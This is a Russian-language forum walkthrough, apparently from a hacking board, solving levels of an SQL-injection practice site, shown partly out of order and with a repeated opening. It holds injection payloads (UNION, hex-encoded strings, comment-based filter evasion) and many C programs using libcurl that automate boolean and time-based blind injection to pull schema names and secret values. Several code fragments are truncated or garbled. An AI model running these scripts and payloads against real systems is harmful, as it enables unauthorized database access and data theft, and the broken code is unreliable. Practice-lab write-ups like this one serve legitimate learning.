Имена столбцов следующие (из за проблем с соединением или ошибками в коде пришлось запускать несколько раз, иногда путало символы).
first
second
morkovka
wtf
genius
Имена в итогу вышли читаемыее и осмысленные, я на верном пути. Осталось узнать что хранится в каждом из них. Звучит не слишком сложно.
.SpoilerTarget" type="button">Spoiler
#include
#include
#include
#include
static int writer(char *data, size_t size, size_t nmemb, char **buffer)
{
int result = size * nmemb;
if(*buffer)
{
*buffer=(char*)realloc(*buffer,(strlen(*buffer)+re sult+1)*sizeof(char));
strcat(*buffer,data);
}
else
{
*buffer=(char*)calloc(result+1,sizeof(char));
strcpy(*buffer,data);
}
return result;
}
int curlPOST(char* URL,char* postData,char **buffer)
{
CURL *curl;
CURLcode performReturn;
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();
if(curl)
{
curl_easy_setopt(curl, CURLOPT_URL, URL);
curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
if(postData)
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);
performReturn = curl_easy_perform(curl);
if(performReturn != CURLE_OK)
{
printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
return 0;
}
}
else
return 0;
curl_global_cleanup();
return 1;
}
char findChar(int charNum,char *tableName)
{
char url[420], *ret;
int cmax=255;
while(1)
{
if(cmax==0)return 0;
sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%28*%% 29+from+level10.davidblayne+where+ascii%%28substri ng%%28%s%%2C%d%%2C1%%29%%29>%d%%29%%3D1%%2CBENCHMARK%%285000000%%2CENCODE%%28% %27DROP+DA+BOMB%%27%%2C%%27Doctor+Phineas+Waldolf+ Steel%%27%%29%%29%%2Cnull%%29%%3B",tableName,charNum,cmax);//>
ret=NULL;
unsigned int start_time = clock();
curlPOST(url,NULL,&ret);
unsigned int end_time = clock();
free(ret);
if( ((double)end_time - (double)start_time)2500.0) return cmax; else ++cmax;
}
return -1;
}
void main()
{
int i,i1;
char curChar;
char *tableList[]={"first","second","morkovka","wtf","genius"};
for(i=0;i
[CODE]
select if((select count(*) from level10.davidblayne where ascii(substring(first,1,1))=105)=1,BENCHMARK(50000 00,ENCODE('DROP DA BOMB','Doctor Phineas Waldolf Steel')),null);
Основано на запросе выше.
Содержимое базы следующее:
55
44
wantamorkovka
wtf?
yes
Что из них ответ - догадайтесь сами. Квест пройден.
BabaDook
29.06.2015, 18:21
Сам прошёл, да ?
↑ (https://antichat.live/posts/3863524/)
Сразу скажу: с MySQL я знаком на уровне "когда то читал посвященный ей chm", с инъекциями примерно так же, поэтому не ждите от меня красивых решений. Я знаю что метод двоичного поиска реализован лишь на половину, а программы написаны кривовато, т.к. писались чтобы использовать один раз и забыть. Если нужно - могу привести код в порядок.
Все просто, вводим запрос как он будет:
select pass from users where id=12;
Ответ: QwErTy
Тут надо отбросить то что нам мешает, примерно так: ' or id=9;#
В итоге пучится :
select * from users where id=2 or login='' or id=9;#'
# - начало комментария, все что за ней - отпросится.
Ответ: secreto
То же самое: ' or id=13;#
select * from users where id=2 or login='' or id=13;#' limit 1
Видимо предыдущий я решил как то неверно, потому что решение подошло и сюда
Ответ: iwanttogo4
Нужно отбросить лимит и приклеить еще один запрос:
select * from users where id=2 or login='' union select * from secret where ggg='abc';#' limit 1
Ответ: dg
То же, что и в предыдущем, но не совпадает количество столбцов. Добьем недостающий единицей:
select * from users where id=2 or login='' union select *,1 from secret;#' limit 1
Ответ: thisisapass232
Нужно решить проблему фильтрации кавычки:
select * from users where id=0 or login=CHAR(0x67,0x6f,0x64) limit 1
Ответ: ivarywantlevel7
Хорошо, что вы не знаете как я решал задачу сначала...
Нужно решить проблему фильтрации всего (пробелов, скобок, кавычек, чего то еще).
Пробелы успешно меняются на /**/.
Кавычки исключаются, строка представляется в виде шестнадцатеричных значений символов ее составляющих. Неизвестная группа символов меняется на % (0x25).
select * from users where id=0/**/or/**/login/**/like/**/0x2567656e746f6f25 limit 1
Ответ: level8please
Хорошо, что вы не знаете что тут я пытался сделать то же, что и в шестом в начале...
Тут слепая инъекция, будем искать пароль посимвольно методом подбора. В данном случае это вполне нормально, однако когда надо найти длинные строки лучше бы использовать метод двоичной сортировки.
Сначала узнаем его длину (привожу только то что ввел я, а не весь запрос):
0 union select * from users where login='fast' and LENGTH(pass)>3
нашло одного такого, пароль явно длиннее трех символов
0 union select * from users where login='fast' and LENGTH(pass)
.SpoilerTarget" type="button">Spoiler: Код
[CODE]
#include
#include
#include
static int writer(char *data, size_t size, size_t nmemb, char **buffer)
{
int result = size * nmemb;
if(*buffer)
{
*buffer=(char*)realloc(*buffer,(strlen(*buffer)+re sult+1)*sizeof(char));
strcat(*buffer,data);
}
else
{
*buffer=(char*)calloc(result+1,sizeof(char));
strcpy(*buffer,data);
}
return result;
}
int curlPOST(char* URL,char* postData,char **buffer)
{
CURL *curl;
CURLcode performReturn;
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();
if(curl)
{
curl_easy_setopt(curl, CURLOPT_URL, URL);
curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
if(postData)
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);
performReturn = curl_easy_perform(curl);
if(performReturn != CURLE_OK)
{
printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
return 0;
}
}
else
return 0;
curl_global_cleanup();
return 1;
}
void main()
{
char *ret;
char url[255];
char symb=0;
int i,i1;
char res=0;
printf("Password charcode: 0x");
for(i=1;i
Все основано на следующем запросе (привожу только мою часть):
[CODE]
0 union select * from users where login='fast' and ASCII(SUBSTRING(pass,1,1))=57
Ответ: 9levlpass
Тут то же самое. Слепая иньекция. Нужно нормально реализовывать поиск. Все по аналогии с предыдущим заданием, в комментариях не нуждается.
.SpoilerTarget" type="button">Spoiler
[CODE]
#include
#include
#include
static int writer(char *data, size_t size, size_t nmemb, char **buffer)
{
int result = size * nmemb;
if(*buffer)
{
*buffer=(char*)realloc(*buffer,(strlen(*buffer)+re sult+1)*sizeof(char));
strcat(*buffer,data);
}
else
{
*buffer=(char*)calloc(result+1,sizeof(char));
strcpy(*buffer,data);
}
return result;
}
int curlPOST(char* URL,char* postData,char **buffer)
{
CURL *curl;
CURLcode performReturn;
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();
if(curl)
{
curl_easy_setopt(curl, CURLOPT_URL, URL);
curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
if(postData)
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);
performReturn = curl_easy_perform(curl);
if(performReturn != CURLE_OK)
{
printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
return 0;
}
}
else
return 0;
curl_global_cleanup();
return 1;
}
int getLoginLength(int id)
{
char url[255], *ret, state;
sprintf(url,"https://alexbers.com/sql/almost9.php?text=%d+and+length%%28login%%29>0",id);
ret=NULL;
curlPOST(url,NULL,&ret);
state=*(ret+394);
free(ret);
if(state!='1')return -1;
int cmax=20;//будем считать что нет логинов длиннее 20
while(1)
{
sprintf(url,"https://alexbers.com/sql/almost9.php?text=%d+and+length%%28login%%29
В итоге их логины:
48
131
125
1104
182
51
195
5
136
121
127
Ответ: 2225
Слепой запрос без вывода, time-based injection.
Не извесно ничего. Надо узнать хоты бя имена таблиц (и их количество).
select if((select count(1) from information_schema.schemata)=6,BENCHMARK(1000000,E NCODE('DROP DA BOMB','Doctor Phineas Waldolf Steel')),null);
Задержка выполняется при условии что количество баз равно 6. И так, цифра за цифрой, подбираем количество баз.
.SpoilerTarget" type="button">Spoiler
#include
#include
#include
#include
static int writer(char *data, size_t size, size_t nmemb, char **buffer)
{
int result = size * nmemb;
if(*buffer)
{
*buffer=(char*)realloc(*buffer,(strlen(*buffer)+re sult+1)*sizeof(char));
strcat(*buffer,data);
}
else
{
*buffer=(char*)calloc(result+1,sizeof(char));
strcpy(*buffer,data);
}
return result;
}
int curlPOST(char* URL,char* postData,char **buffer)
{
CURL *curl;
CURLcode performReturn;
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();
if(curl)
{
curl_easy_setopt(curl, CURLOPT_URL, URL);
curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
if(postData)
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);
performReturn = curl_easy_perform(curl);
if(performReturn != CURLE_OK)
{
printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
return 0;
}
}
else
return 0;
curl_global_cleanup();
return 1;
}
void main()
{
char url[255], *ret, state;
int i;
double time[50];
int colcount=0;
while(1)
{
sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%281%% 29+from+information_schema.schemata%%29%%3D%d%%2CB ENCHMARK%%281000000%%2CENCODE%%28%%27DROP+DA+BOMB% %27%%2C%%27Doctor+Phineas+Waldolf+Steel%%27%%29%%2 9%%2Cnull%%29%%3B",colcount);
ret=NULL;
unsigned int start_time = clock();
curlPOST(url,NULL,&ret);
unsigned int end_time = clock();
free(ret);
if( ((double)end_time - (double)start_time)>870.0)
{
printf("we have %d columns\n",colcount);
break;
}
else
printf("we have mote than %d columns\n",colcount);
++colcount;
}
system("pause");
}
Оказывается две базы. Одна ясна - information_schema. Ищем имя второй.
Сначала находим длину.
.SpoilerTarget" type="button">Spoiler
#include
#include
#include
#include
static int writer(char *data, size_t size, size_t nmemb, char **buffer)
{
int result = size * nmemb;
if(*buffer)
{
*buffer=(char*)realloc(*buffer,(strlen(*buffer)+re sult+1)*sizeof(char));
strcat(*buffer,data);
}
else
{
*buffer=(char*)calloc(result+1,sizeof(char));
strcpy(*buffer,data);
}
return result;
}
int curlPOST(char* URL,char* postData,char **buffer)
{
CURL *curl;
CURLcode performReturn;
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();
if(curl)
{
curl_easy_setopt(curl, CURLOPT_URL, URL);
curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
if(postData)
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);
performReturn = curl_easy_perform(curl);
if(performReturn != CURLE_OK)
{
printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
return 0;
}
}
else
return 0;
curl_global_cleanup();
return 1;
}
void main()
{
char url[420], *ret, state;
int i;
double time[50];
int dbNameLen=0;
while(1)
{
sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%28*%% 29+from+information_schema.schemata+where+schema_n ame+!%%3D%%27information_schema%%27+and+length%%28 schema_name%%29%%3D%d%%29%%2CBENCHMARK%%281000000% %2CENCODE%%28%%27DROP+DA+BOMB%%27%%2C%%27Doctor+Ph ineas+Waldolf+Steel%%27%%29%%29%%2Cnull%%29%%3B",dbNameLen);
ret=NULL;
unsigned int start_time = clock();
curlPOST(url,NULL,&ret);
unsigned int end_time = clock();
free(ret);
if( ((double)end_time - (double)start_time)>870.0)
{
printf("Db name have %d characters\n",dbNameLen);
break;
}
else
printf("we have mote than %d characters\n",dbNameLen);
++dbNameLen;
}
system("pause");
}
select if((select count(*) from information_schema.schemata where schema_name !='information_schema' and length(schema_name)=3),BENCHMARK(1000000,ENCODE('D ROP DA BOMB','Doctor Phineas Waldolf Steel')),null);
Все основано на этом запросе выше.
Длина имени базы равна 7 символов.
Теперь имя. По буквам (из за неточности пришлось увеличить задержку).
.SpoilerTarget" type="button">Spoiler
#include
#include
#include
#include
static int writer(char *data, size_t size, size_t nmemb, char **buffer)
{
int result = size * nmemb;
if(*buffer)
{
*buffer=(char*)realloc(*buffer,(strlen(*buffer)+re sult+1)*sizeof(char));
strcat(*buffer,data);
}
else
{
*buffer=(char*)calloc(result+1,sizeof(char));
strcpy(*buffer,data);
}
return result;
}
int curlPOST(char* URL,char* postData,char **buffer)
{
CURL *curl;
CURLcode performReturn;
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();
if(curl)
{
curl_easy_setopt(curl, CURLOPT_URL, URL);
curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
if(postData)
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);
performReturn = curl_easy_perform(curl);
if(performReturn != CURLE_OK)
{
printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
return 0;
}
}
else
return 0;
curl_global_cleanup();
return 1;
}
char findChar(int charNum)
{
char url[420], *ret;
int cmax=255;
while(1)
{
sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%28*%% 29+from+information_schema.schemata+where+schema_n ame+!%%3D%%27information_schema%%27+and+ascii%%28S UBSTRING%%28schema_name%%2C%d%%2C1%%29%%29>%d%%29%%2CBENCHMARK%%285000000%%2CENCODE%%28%%27DR OP+DA+BOMB%%27%%2C%%27Doctor+Phineas+Waldolf+Steel %%27%%29%%29%%2Cnull%%29%%3B",charNum,cmax);
ret=NULL;
unsigned int start_time = clock();
curlPOST(url,NULL,&ret);
unsigned int end_time = clock();
free(ret);
if( ((double)end_time - (double)start_time)2500.0) return cmax; else ++cmax;
}
return -1;
}
void main()
{
int i;
for(i=0;i
База называется "level10". Какой сюрприз. Мог бы и догадатся.
[CODE]
select if((select count(*) from information_schema.schemata where schema_name !='information_schema' and ascii(SUBSTRING(schema_name,1,1))=50),BENCHMARK(10 00000,ENCODE('DROP DA BOMB','Doctor Phineas Waldolf Steel')),null);
На этом запросе основывался поиск имени базы
Теперь найдем количество таблиц в базе.
.SpoilerTarget" type="button">Spoiler
#include
#include
#include
#include
static int writer(char *data, size_t size, size_t nmemb, char **buffer)
{
int result = size * nmemb;
if(*buffer)
{
*buffer=(char*)realloc(*buffer,(strlen(*buffer)+re sult+1)*sizeof(char));
strcat(*buffer,data);
}
else
{
*buffer=(char*)calloc(result+1,sizeof(char));
strcpy(*buffer,data);
}
return result;
}
int curlPOST(char* URL,char* postData,char **buffer)
{
CURL *curl;
CURLcode performReturn;
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();
if(curl)
{
curl_easy_setopt(curl, CURLOPT_URL, URL);
curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
if(postData)
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);
performReturn = curl_easy_perform(curl);
if(performReturn != CURLE_OK)
{
printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
return 0;
}
}
else
return 0;
curl_global_cleanup();
return 1;
}
void main()
{
char url[255], *ret, state;
int i;
double time[50];
int colcount=0;
while(1)
{
sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%28*%% 29+from+information_schema.tables+where+table_sche ma%%3D%%27level10%%27%%29%%3D%d%%2CBENCHMARK%%2850 00000%%2CENCODE%%28%%27DROP+DA+BOMB%%27%%2C%%27Doc tor+Phineas+Waldolf+Steel%%27%%29%%29%%2Cnull%%29% %3B",colcount);
ret=NULL;
unsigned int start_time = clock();
curlPOST(url,NULL,&ret);
unsigned int end_time = clock();
free(ret);
if( ((double)end_time - (double)start_time)>2500.0)
{
printf("we have %d table\n",colcount);
break;
}
else
printf("we have mote than %d tables\n",colcount);
++colcount;
}
system("pause");
}
select if((select count(*) from information_schema.tables where table_schema='level10')=1,BENCHMARK(5000000,ENCODE ('DROP DA BOMB','Doctor Phineas Waldolf Steel')),null);
Все на основе запроса выше.
Таблица одна. Теперь ее имя.
Как всегда, сначала его длинна.
.SpoilerTarget" type="button">Spoiler
#include
#include
#include
#include
static int writer(char *data, size_t size, size_t nmemb, char **buffer)
{
int result = size * nmemb;
if(*buffer)
{
*buffer=(char*)realloc(*buffer,(strlen(*buffer)+re sult+1)*sizeof(char));
strcat(*buffer,data);
}
else
{
*buffer=(char*)calloc(result+1,sizeof(char));
strcpy(*buffer,data);
}
return result;
}
int curlPOST(char* URL,char* postData,char **buffer)
{
CURL *curl;
CURLcode performReturn;
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();
if(curl)
{
curl_easy_setopt(curl, CURLOPT_URL, URL);
curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
if(postData)
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);
performReturn = curl_easy_perform(curl);
if(performReturn != CURLE_OK)
{
printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
return 0;
}
}
else
return 0;
curl_global_cleanup();
return 1;
}
void main()
{
char url[320], *ret, state;
int i;
double time[50];
int colcount=0;
while(1)
{
sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%28*%% 29+from+information_schema.tables+++where+table_sc hema%%3D%%27level10%%27+and+length%%28table_name%% 29%%3D%d%%29%%2CBENCHMARK%%285000000%%2CENCODE%%28 %%27DROP+DA+BOMB%%27%%2C%%27Doctor+Phineas+Waldolf +Steel%%27%%29%%29%%2Cnull%%29%%3B",colcount);
ret=NULL;
unsigned int start_time = clock();
curlPOST(url,NULL,&ret);
unsigned int end_time = clock();
free(ret);
if( ((double)end_time - (double)start_time)>2500.0)
{
printf("we have %d symbols\n",colcount);
break;
}
else
printf("we have mote than %d symbols\n",colcount);
++colcount;
}
system("pause");
}
select if((select count(*) from information_schema.tables where table_schema='level10' and length(table_name)=3),BENCHMARK(5000000,ENCODE('DR OP DA BOMB','Doctor Phineas Waldolf Steel')),null);
Основано на запросе выше.
Длина имени таблицы - 11 символов.
А вот теперь ее имя.
.SpoilerTarget" type="button">Spoiler
#include
#include
#include
#include
static int writer(char *data, size_t size, size_t nmemb, char **buffer)
{
int result = size * nmemb;
if(*buffer)
{
*buffer=(char*)realloc(*buffer,(strlen(*buffer)+re sult+1)*sizeof(char));
strcat(*buffer,data);
}
else
{
*buffer=(char*)calloc(result+1,sizeof(char));
strcpy(*buffer,data);
}
return result;
}
int curlPOST(char* URL,char* postData,char **buffer)
{
CURL *curl;
CURLcode performReturn;
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();
if(curl)
{
curl_easy_setopt(curl, CURLOPT_URL, URL);
curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
if(postData)
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);
performReturn = curl_easy_perform(curl);
if(performReturn != CURLE_OK)
{
printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
return 0;
}
}
else
return 0;
curl_global_cleanup();
return 1;
}
char findChar(int charNum)
{
char url[420], *ret;
int cmax=255;
while(1)
{
sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%28*%% 29+from+information_schema.tables+where+table_sche ma%%3D%%27level10%%27+and+ascii%%28SUBSTRING%%28ta ble_name%%2C%d%%2C1%%29%%29>%d%%29%%2CBENCHMARK%%285000000%%2CENCODE%%28%%27DR OP+DA+BOMB%%27%%2C%%27Doctor+Phineas+Waldolf+Steel %%27%%29%%29%%2Cnull%%29%%3B",charNum,cmax);
ret=NULL;
unsigned int start_time = clock();
curlPOST(url,NULL,&ret);
unsigned int end_time = clock();
free(ret);
if( ((double)end_time - (double)start_time)2500.0) return cmax; else ++cmax;
}
return -1;
}
void main()
{
int i;
for(i=0;i
[CODE]
select if((select count(*) from information_schema.tables where table_schema='level10' and ascii(SUBSTRING(table_name,1,1))=99),BENCHMARK(500 0000,ENCODE('DROP DA BOMB','Doctor Phineas Waldolf Steel')),null);
Имя таблицы: davidblayne
Вдруг это уже ответ? Нет, нас еще помучают.
Теперь количество строк ней (хоть это не сложно):
.SpoilerTarget" type="button">Spoiler
#include
#include
#include
#include
static int writer(char *data, size_t size, size_t nmemb, char **buffer)
{
int result = size * nmemb;
if(*buffer)
{
*buffer=(char*)realloc(*buffer,(strlen(*buffer)+re sult+1)*sizeof(char));
strcat(*buffer,data);
}
else
{
*buffer=(char*)calloc(result+1,sizeof(char));
strcpy(*buffer,data);
}
return result;
}
int curlPOST(char* URL,char* postData,char **buffer)
{
CURL *curl;
CURLcode performReturn;
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();
if(curl)
{
curl_easy_setopt(curl, CURLOPT_URL, URL);
curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
if(postData)
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);
performReturn = curl_easy_perform(curl);
if(performReturn != CURLE_OK)
{
printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
return 0;
}
}
else
return 0;
curl_global_cleanup();
return 1;
}
void main()
{
char url[255], *ret, state;
int i;
double time[50];
int colcount=0;
while(1)
{
sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%28*%% 29+from+level10.davidblayne%%29%%3D%d%%2CBENCHMARK %%285000000%%2CENCODE%%28%%27DROP+DA+BOMB%%27%%2C% %27Doctor+Phineas+Waldolf+Steel%%27%%29%%29%%2Cnul l%%29%%3B",colcount);
ret=NULL;
unsigned int start_time = clock();
curlPOST(url,NULL,&ret);
unsigned int end_time = clock();
free(ret);
if( ((double)end_time - (double)start_time)>870.0)
{
printf("we have %d columns\n",colcount);
break;
}
else
printf("we have mote than %d columns\n",colcount);
++colcount;
}
system("pause");
}
select if((select count(*) from level10.davidblayne)=2,BENCHMARK(5000000,ENCODE('D ROP DA BOMB','Doctor Phineas Waldolf Steel')),null);
На основе запроса выше выясняем - всего одна строка. Надеюсь хоть там то пароль.
Теперь количество столбцов.
.SpoilerTarget" type="button">Spoiler
#include
#include
#include
#include
static int writer(char *data, size_t size, size_t nmemb, char **buffer)
{
int result = size * nmemb;
if(*buffer)
{
*buffer=(char*)realloc(*buffer,(strlen(*buffer)+re sult+1)*sizeof(char));
strcat(*buffer,data);
}
else
{
*buffer=(char*)calloc(result+1,sizeof(char));
strcpy(*buffer,data);
}
return result;
}
int curlPOST(char* URL,char* postData,char **buffer)
{
CURL *curl;
CURLcode performReturn;
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();
if(curl)
{
curl_easy_setopt(curl, CURLOPT_URL, URL);
curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
if(postData)
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);
performReturn = curl_easy_perform(curl);
if(performReturn != CURLE_OK)
{
printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
return 0;
}
}
else
return 0;
curl_global_cleanup();
return 1;
}
void main()
{
char url[320], *ret, state;
int i;
double time[50];
int colcount=0;
while(1)
{
sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%28*%% 29+from+information_schema.columns+where+table_nam e%%3D%%27davidblayne%%27%%29%%3D%d%%2CBENCHMARK%%2 85000000%%2CENCODE%%28%%27DROP+DA+BOMB%%27%%2C%%27 Doctor+Phineas+Waldolf+Steel%%27%%29%%29%%2Cnull%% 29%%3B",colcount);
ret=NULL;
unsigned int start_time = clock();
curlPOST(url,NULL,&ret);
unsigned int end_time = clock();
free(ret);
if( ((double)end_time - (double)start_time)>2500.0)
{
printf("we have %d columns\n",colcount);
break;
}
else
printf("we have mote than %d columns\n",colcount);
++colcount;
}
system("pause");
}
select if((select count(*) from information_schema.columns where table_name='davidblayne')=2,BENCHMARK(5000000,ENCO DE('DROP DA BOMB','Doctor Phineas Waldolf Steel')),null);
Основано на запросе выше
Тут 5 столбцов. Теперь их имена.
Долго думал как сделать, оказалось что если взять ASCII от несуществующего символа - вернется 0. Длинна не нужна.
У меня ушло много времени чтобы придумать как имена столцов, ведь для этого надо получить имя одного определенного столбца, потом я наткнулся на ordinal_position и мои проблемы решились.
.SpoilerTarget" type="button">Spoiler
#include
#include
#include
#include
static int writer(char *data, size_t size, size_t nmemb, char **buffer)
{
int result = size * nmemb;
if(*buffer)
{
*buffer=(char*)realloc(*buffer,(strlen(*buffer)+re sult+1)*sizeof(char));
strcat(*buffer,data);
}
else
{
*buffer=(char*)calloc(result+1,sizeof(char));
strcpy(*buffer,data);
}
return result;
}
int curlPOST(char* URL,char* postData,char **buffer)
{
CURL *curl;
CURLcode performReturn;
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();
if(curl)
{
curl_easy_setopt(curl, CURLOPT_URL, URL);
curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
if(postData)
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);
performReturn = curl_easy_perform(curl);
if(performReturn != CURLE_OK)
{
printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
return 0;
}
}
else
return 0;
curl_global_cleanup();
return 1;
}
char findChar(int charNum,int columnNum)
{
char url[420], *ret;
int cmax=255;
while(1)
{
if(cmax==0)return 0;
sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%28*%% 29+from+information_schema.columns+where+table_nam e%%3D%%27davidblayne%%27+and+ordinal_position%%3D% d+and+ascii%%28substring%%28column_name%%2C%d%%2C1 %%29%%29>%d%%29%%3D1%%2CBENCHMARK%%285000000%%2CENCODE%%28% %27DROP+DA+BOMB%%27%%2C%%27Doctor+Phineas+Waldolf+ Steel%%27%%29%%29%%2Cnull%%29%%3B",columnNum,charNum,cmax);//>
ret=NULL;
unsigned int start_time = clock();
curlPOST(url,NULL,&ret);
unsigned int end_time = clock();
free(ret);
if( ((double)end_time - (double)start_time)2500.0) return cmax; else ++cmax;
}
return -1;
}
void main()
{
int i,i1;
char curChar;
for(i=0;i
[CODE]
select if((select count(*) from information_schema.columns where table_name='davidblayne' and ordinal_position=1 and ascii(substring(column_name,1,1))=105)=1,BENCHMARK (5000000,ENCODE('DROP DA BOMB','Doctor Phineas Waldolf Steel')),null);
Основано на запросе выше.
Имена столбцов следующие (из за проблем с соединением или ошибками в коде пришлось запускать несколько раз, иногда путало символы).
first
second
morkovka
wtf
genius
Имена в итогу вышли читаемыее и осмысленные, я на верном пути. Осталось узнать что хранится в каждом из них. Звучит не слишком сложно.
.SpoilerTarget" type="button">Spoiler
#include
#include
#include
#include
static int writer(char *data, size_t size, size_t nmemb, char **buffer)
{
int result = size * nmemb;
if(*buffer)
{
*buffer=(char*)realloc(*buffer,(strlen(*buffer)+re sult+1)*sizeof(char));
strcat(*buffer,data);
}
else
{
*buffer=(char*)calloc(result+1,sizeof(char));
strcpy(*buffer,data);
}
return result;
}
